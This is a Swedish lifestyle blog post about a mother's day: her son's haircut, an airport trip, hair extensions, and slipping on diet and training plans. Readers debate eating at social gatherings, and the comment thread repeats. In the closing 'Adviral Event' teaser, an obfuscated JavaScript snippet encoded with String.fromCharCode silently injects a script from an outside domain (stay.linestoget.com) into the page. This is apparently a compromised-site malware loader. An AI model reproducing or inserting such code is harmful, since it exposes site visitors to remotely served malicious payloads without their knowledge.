Nyklippt Lilleman…

E96EF33A-B71E-488F-97E9-C5232BDE4ADC

Hej! Oj vad dagen sprang iväg…. Hemma nu. Sitter och betalar räkningar…. Lämnade Lilleman på flyget. Åt middag med Bobby…. kom hem nyss, 

-Såhär fin blev Lilleman idag ❤️🙏🏻 

BD15BD48-DD84-48B3-9CD9-A22461FEF568

Du ska få se bilder på mitt hår imorgon. Vi tog ut mina extensions. Sedan fick Lilleman klippa sig. Vi åkte till flyget, och sen åkte jag tillbaka för att färga min utväxt och toppa mig.

EA5EEF0D-E9F3-4B55-A24E-794A3BEAE3DB

Men det var så mörkt så det blev inga fina bilder ☺️🤣 Så du får se imorgon… idag har jag slavarnas. Bpde med träningen och kosten. Tappade hela planeringen när Lilleman stannade kvar. Det var såklart jätte mysigt. Men det före om i grytan 😂 Så jag har legat efter hela dagen… inga matlådor, och ingen träning 🙈 Planering är a & o för att nå sina resultat….. Så imorgon är det nya tag! 

Nu ska jag krypa ner hos Jonas. Vi ska se på en film.

-Hörs imorgon!

Kram kram💕

/My Martens 

16 Komentarer

  1. Du hämtade Lilleman på flygplatsen den 13/4 och tanken var att han skulle åka igen den 14/4. Lilleman kunde ju lika gärna stannat kvar hos sin far. Nu fick du ju ha Lilleman längre tack vare att flyget krånglade.
    Nu ser du att det är inte så lätt med diet när man har barn omkring dig. Jag kan också tycka att det är partiet att inte äta när man är bortbjuden. Det kan ju inte skada om man bara gör det när man är bortbjuden och låter bli när man är hemma eller på jobbet.

    • Så du menar att man MÅSTE tvinga i sig kakor, bullar, tårta, fet mat och annat skit bara för att man är bortbjuden och att det är oartigt annars??? Trams!! Man väljer väl själv om, när och vad man vill stoppa i sig? Ingen ska tala om för mig att jag måste äta det som bjuds bara för att .. Det var fasiken det löjligast jag hört på länge ?

      • Om det är det som bjuds och du inte har med något eget så tycker jag det är oartigt att inte ens smaka lite ja. Att äta tillsammans är en social grej också och inte bara byggstenar till sin kropp. Tycket det är helt ok att ta med sin egen mat som My gör och säga till innan. Det är dock inte så jätteroligt om igen äter av det man har att bjuda på.Någon kanske har lagt tid på att baka, tänka ut och handlat hem och så äter ingen av det….Men en balans tror jag är viktig.Tror inte man mår bra på sikt om det blir för fixerat. Både själ och kropp ska få må bra.Knytkalas är ju annars en bra grej tycker jag! Då kan ju alla få det som de vill.

    • Han hämtades på fredagen, och skulle stanna till söndag. Men fick flyga måndag kväll? Så dina datum stämmer inte..,
      Måste man äta allt som bjuds? Jösses??? Tack, men nej tack.., det är kalaS, bjudningar och ”ursäkter” att äta dygnet runt om man vill? Jag säger… lagom är bäst. Ät när man vill, hitta balansen… Det gör jag iallfall ?

    • Fattade det ☺️ Men i en familj så kommunicerar man. Vänner, familj osv stöttar varandra i alla beslut, även huvida man vill äta eller inte ?

  2. Du hämtade Lilleman på flygplatsen den 13/4 och tanken var att han skulle åka igen den 14/4. Lilleman kunde ju lika gärna stannat kvar hos sin far. Nu fick du ju ha Lilleman längre tack vare att flyget krånglade.
    Nu ser du att det är inte så lätt med diet när man har barn omkring dig. Jag kan också tycka att det är partiet att inte äta när man är bortbjuden. Det kan ju inte skada om man bara gör det när man är bortbjuden och låter bli när man är hemma eller på jobbet.

    • Så du menar att man MÅSTE tvinga i sig kakor, bullar, tårta, fet mat och annat skit bara för att man är bortbjuden och att det är oartigt annars??? Trams!! Man väljer väl själv om, när och vad man vill stoppa i sig? Ingen ska tala om för mig att jag måste äta det som bjuds bara för att .. Det var fasiken det löjligast jag hört på länge 🙄

      • Om det är det som bjuds och du inte har med något eget så tycker jag det är oartigt att inte ens smaka lite ja. Att äta tillsammans är en social grej också och inte bara byggstenar till sin kropp. Tycket det är helt ok att ta med sin egen mat som My gör och säga till innan. Det är dock inte så jätteroligt om igen äter av det man har att bjuda på.Någon kanske har lagt tid på att baka, tänka ut och handlat hem och så äter ingen av det….Men en balans tror jag är viktig.Tror inte man mår bra på sikt om det blir för fixerat. Både själ och kropp ska få må bra.Knytkalas är ju annars en bra grej tycker jag! Då kan ju alla få det som de vill.

    • Han hämtades på fredagen, och skulle stanna till söndag. Men fick flyga måndag kväll? Så dina datum stämmer inte..,

      Måste man äta allt som bjuds? Jösses🙈😅😂 Tack, men nej tack.., det är kalaS, bjudningar och ”ursäkter” att äta dygnet runt om man vill😎 Jag säger… lagom är bäst. Ät när man vill, hitta balansen… Det gör jag iallfall 😉

    • Fattade det ☺️ Men i en familj så kommunicerar man. Vänner, familj osv stöttar varandra i alla beslut, även huvida man vill äta eller inte 😉

  3. Måste vara okej att inte ha superplanering hela tiden. Vi är människor och ibland finns inte tiden och
    saker händer . På det stora hela gör detta nada då det är vad du gör 90 procent av tiden som räknas. Att man ibland gör små avsteg från en diet är normalt och också det som gör att dieten håller i längden. Man ska hitta sin livstil som funkar trots försenade flyg, kalas osv. Och ingen människa är perfekt 100 procent av tiden. Man accepterar att det är så och planerar bättre tills nästa dag helt enkelt.

  4. Måste vara okej att inte ha superplanering hela tiden. Vi är människor och ibland finns inte tiden och
    saker händer . På det stora hela gör detta nada då det är vad du gör 90 procent av tiden som räknas. Att man ibland gör små avsteg från en diet är normalt och också det som gör att dieten håller i längden. Man ska hitta sin livstil som funkar trots försenade flyg, kalas osv. Och ingen människa är perfekt 100 procent av tiden. Man accepterar att det är så och planerar bättre tills nästa dag helt enkelt.

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/